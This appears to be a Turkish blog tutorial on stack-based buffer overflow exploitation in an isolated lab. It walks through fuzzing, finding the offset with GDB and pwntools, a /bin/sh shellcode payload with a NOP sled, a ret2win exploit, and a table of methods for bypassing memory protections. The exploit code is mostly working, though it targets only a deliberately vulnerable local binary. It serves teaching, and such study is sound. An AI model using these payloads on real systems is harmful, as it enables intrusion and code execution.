Araştırma 08/08
Buffer Overflow: Stack Tabanlı Saldırılar
Stack tabanlı taşmanın program akışını nasıl etkilediğini; kayıtlar, çökme kanıtı ve modern bellek korumalarıyla birlikte izole laboratuvarda inceliyor.
İlk yayın
Araştırma 08/08
Stack tabanlı taşmanın program akışını nasıl etkilediğini; kayıtlar, çökme kanıtı ve modern bellek korumalarıyla birlikte izole laboratuvarda inceliyor.
İlk yayın
Okuma süresi
4 dakika
Program bir tampona (buffer) sığmayacak kadar büyük veri yazarsa, fazlalık komşu bellek bölgelerine taşar. Stack üzerinde bu taşma dönüş adresini (EIP/RIP) ezebilir ve saldırgan program akışını istediği yere yönlendirebilir.
Yüksek adres
┌──────────────┐
│ Return Addr │ ← EIP — burası ezilirse program akışı değişir
├──────────────┤
│ Saved EBP │
├──────────────┤
│ │
│ Buffer │ ← Kullanıcı verisi buraya yazılıyor
│ [64 byte] │
└──────────────┘
Düşük adres
# Koruma mekanizmalarını kapatarak derle (lab ortamı)
gcc -m32 -fno-stack-protector -z execstack -no-pie \
-o vuln vuln.c# fuzzer.py — artan boyutta input gönder
import subprocess
for i in range(100, 500, 10):
payload = b"A" * i
result = subprocess.run(
["./vuln"],
input=payload,
capture_output=True
)
if result.returncode != 0:
print(f"[+] Çöküş: {i} byte")
break# Benzersiz desen oluştur
python3 -c "
import string
pattern = ''
for i in string.ascii_uppercase:
for j in string.ascii_lowercase:
for k in string.digits:
pattern += i+j+k
print(pattern[:300])
" > pattern.txt
# GDB ile çalıştır
gdb ./vuln
(gdb) run < pattern.txt
# Segfault sonrası EIP değerini not al: 0x41326941
# Offset'i hesapla — kendi GDB çıktınızdaki EIP değerini kullanın
python3 -c "
pattern = open('pattern.txt').read()
eip = 'Ai2A' # örnek değer; GDB'deki 0x41326941'i little-endian byte sırasında ASCII olarak yazın
print(pattern.index(eip))
"
# Örnek çıktı: 76 — sizin offset'iniz farklı olabilirAlternatif olarak pwndbg veya pwntools:
from pwn import *
# Cyclic pattern
pattern = cyclic(200)
# Offset bul
offset = cyclic_find(0x41326941)
print(f"Offset: {offset}") # 76from pwn import *
offset = 76
payload = b"A" * offset + b"B" * 4 # EIP = 0x42424242
p = process("./vuln")
p.sendline(payload)
p.interactive()GDB'de x/x $eip → 0x42424242 görünüyorsa EIP kontrolü sağlandı.
from pwn import *offset = 76# /bin/sh açan shellcode (25 byte)shellcode = b"\x31\xc0\x50\x68\x2f\x2f\x73\x68"shellcode += b"\x68\x2f\x62\x69\x6e\x89\xe3\x50"shellcode += b"\x53\x89\xe1\xb0\x0b\xcd\x80"# Stack adresini bul (ASLR kapalı ortamda)p = process("./vuln")# gdb'den: x/50x $esp → shellcode'un yükleneceği adresret_addr = p32(0xffffd120)# NOP sled + shellcode + padding + retnop_sled = b"\x90" * 30payload = nop_sled + shellcodepayload += b"A" * (offset - len(nop_sled) - len(shellcode))payload += ret_addrp.sendline(payload)p.interactive()
NX açıksa stack'te shellcode çalıştırılamaz; bunun yerine binary'de var olan bir fonksiyona dönülür (ret2win). Dikkat: ret2win yalnızca NX'i aşar — ASLR/PIE açıksa hedef adres her çalıştırmada değişir, yani bu yöntem ancak PIE kapalıyken ya da bir adres leak'i varken işe yarar. Aşağıdaki örnek PIE kapalı (sabit adresli) bir binary varsayar:
from pwn import *
elf = ELF("./vuln")
offset = 76
# secret() fonksiyonunun adresi
win_addr = p32(elf.symbols["secret"])
payload = b"A" * offset + win_addr
p = process("./vuln")
p.sendline(payload)
p.interactive()# Binary'nin korumalarını kontrol et
checksec --file=./vuln| Koruma | Açıklama | Bypass | |---|---|---| | ASLR | Stack/heap adresleri rastgele | Leak + offset hesapla | | NX/DEP | Stack'te kod çalıştırma yok | ROP chain | | Stack Canary | Return addr'den önce canary değeri | Canary leak | | PIE | Binary adresleri rastgele | Leak + base hesapla | | RELRO | GOT tablosu salt okunur | Partial RELRO bypass |
# Kur
git clone https://github.com/pwndbg/pwndbg
cd pwndbg && ./setup.sh
# Kullanım
gdb ./vuln
(gdb) run
(gdb) info registers # register değerleri
(gdb) x/50x $esp # stack içeriğini hex göster
(gdb) x/s 0xffffd120 # adresteki string
(gdb) disas vuln # fonksiyonu disassemble et
(gdb) b *vuln+30 # breakpoint ekle
(gdb) ni # next instruction# 1. Koruma seviyesini gör
checksec --file=./chal
# 2. Fonksiyonları listele
objdump -d ./chal | grep "<.*>:"
nm ./chal | grep " T "
# 3. String'leri tara
strings ./chal | grep -i "flag\|win\|shell"
# 4. Ltrace / strace ile davranış izle
ltrace ./chal
strace ./chalBu laboratuvardaki sabit adresler ve 32-bit kayıtlar öğretim varsayımıdır. Modern derleyicilerde ASLR, NX, PIE, canary ve RELRO birlikte değerlendirilir; amaç korumayı atlatma reçetesi çıkarmak değil, çökme kanıtını anlayıp güvensiz bellek işlemini düzeltmektir.
Okuma rotası
Topluluk masası
Soru sor, kanıt bırak veya bir düzeltme öner.
Yorum yapmak ve beğenmek için giriş yap